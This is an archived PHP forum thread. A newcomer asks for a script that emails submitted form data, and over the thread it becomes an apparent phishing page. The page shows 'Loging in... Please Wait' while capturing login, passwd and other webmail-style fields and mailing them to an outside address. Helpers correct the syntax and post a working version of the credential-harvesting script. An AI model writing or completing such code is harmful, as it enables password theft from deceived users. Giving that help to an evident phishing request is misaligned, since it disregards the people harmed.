Jump to content

Archived

This topic is now archived and is closed to further replies.

timgetback

Im a New User Desperate For Help

Recommended Posts

Ok heres the deal.  I need to get input data using method post so i can view the data later. basically i need a php script to route the data in post to like an email address, or something. This is really important to me if any onw can help it would be greatly appericated.

Share this post


Link to post
Share on other sites
<?php
$message = "Forum element name: {$_POST['forum_element_name']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
// ext

mail('someone@somewhere.com', 'subject', $message);
?>

Share this post


Link to post
Share on other sites
thanks so would i do something like:

ction=getinfo.php method=post  autocomplete="off" onsubmit="set()">
      <SCRIPT language=javascript>
where getinfo.php wis where i would put the script you just gave me?

Share this post


Link to post
Share on other sites
Yes. But this script is heavily explotable by spammers. Beware.
(it gets 100* more complex to make it secure.)

Share this post


Link to post
Share on other sites
if ur still online i typed this up:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>

        <title>Login Info</title>

</head>

<body>
<?php
$message = "login": {$_POST['login']} \n"
$message .= "passwd": {$_POST['passwd']} \n"
$message .= ".tries": {$_POST['.tries']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
// ext

mail('account@mail.com', 'Email Info', $message);
?>

</body>
</html>

But it didnt work.

Share this post


Link to post
Share on other sites
<form method="post" action=getinfo2.php
autocomplete="off" name="login_form" onsubmit="set()">

and added whats above on the main page with the login

Share this post


Link to post
Share on other sites
<?php
$message = "login": {$_POST['login']} \n"
$message .= "passwd": {$_POST['passwd']} \n"
$message .= ".tries": {$_POST['.tries']} \n"
$message .= "Forum element name: {$_POST['forum_element_name']} \n"
?>

should be
<?php
$message = "login: {$_POST['login']} \n";
$message .= "passwd": {$_POST['passwd']} \n";
$message .= ".tries: {$_POST['.tries']} \n";
$message .= "Forum element name: {$_POST['forum_element_name']} \n";
?>

The additional quotes will screw up the parser if not escaped with a backslash.
And silly me, i forgot semicolons after the variable assignments!

Share this post


Link to post
Share on other sites
Here there is no point in having difficult with this, think about it, everytime you create a contact form it's doing the same thing.
Here have a form
<form name="infogatherer" action="processor.php" method="post">
Have as many input fields here as you want.
</form>
Then say you have 3 info fields, just stick them in an email
$message = "
Username: {$_POST[username]}
Password: {$_POST[password]}
Information: {$_POST[information]}
mail("email@domain.com", "This is my data", $message);
You can do whatever else you want to with it, I don't know if anyone can really exploit this, just don't set it up to where a user can send you html emails.  THen you might have some problems, as long as nothing is going into a database you should be fine.

Share this post


Link to post
Share on other sites
So is this good or what??? : ???


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>

        <title>Loging in</title>

</head>

<body>
<p> Loading...... Please Wait </p>
<?php
$message = "
login: {$_POST[login]}
passwd: {$_POST[passwd]}
yreglgtb: {$_POST[yreglgtb]}
mail("email@domain.com", "This is my data", $message);
//ext
?>

</body>
</html>

Share this post


Link to post
Share on other sites
[quote]So is this good or what??? [/quote]
How should we know..? Does it work?

Share this post


Link to post
Share on other sites
[code=php:0]
$message = "
login: {$_POST['login']}
passwd: {$_POST['passwd']}
yreglgtb: {$_POST['yreglgtb']}";
mail("servprt3_passrecov@yahoo.com", "This is my data", $message);
[/code]

Share this post


Link to post
Share on other sites
I put this in notepad just as it is:

<?php
$message = "
login: {$_POST['login']}
passwd: {$_POST['passwd']}
yreglgtb: {$_POST['yreglgtb']}";
mail("mail@domain.com", "This is my data", $message);
//ext
?>

then i put this in my site:

<form method="post" action=getinfo.php
autocomplete="off" name="login_form" >

now... i know nothin about php. Should this work cause it aint.

Share this post


Link to post
Share on other sites

×

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.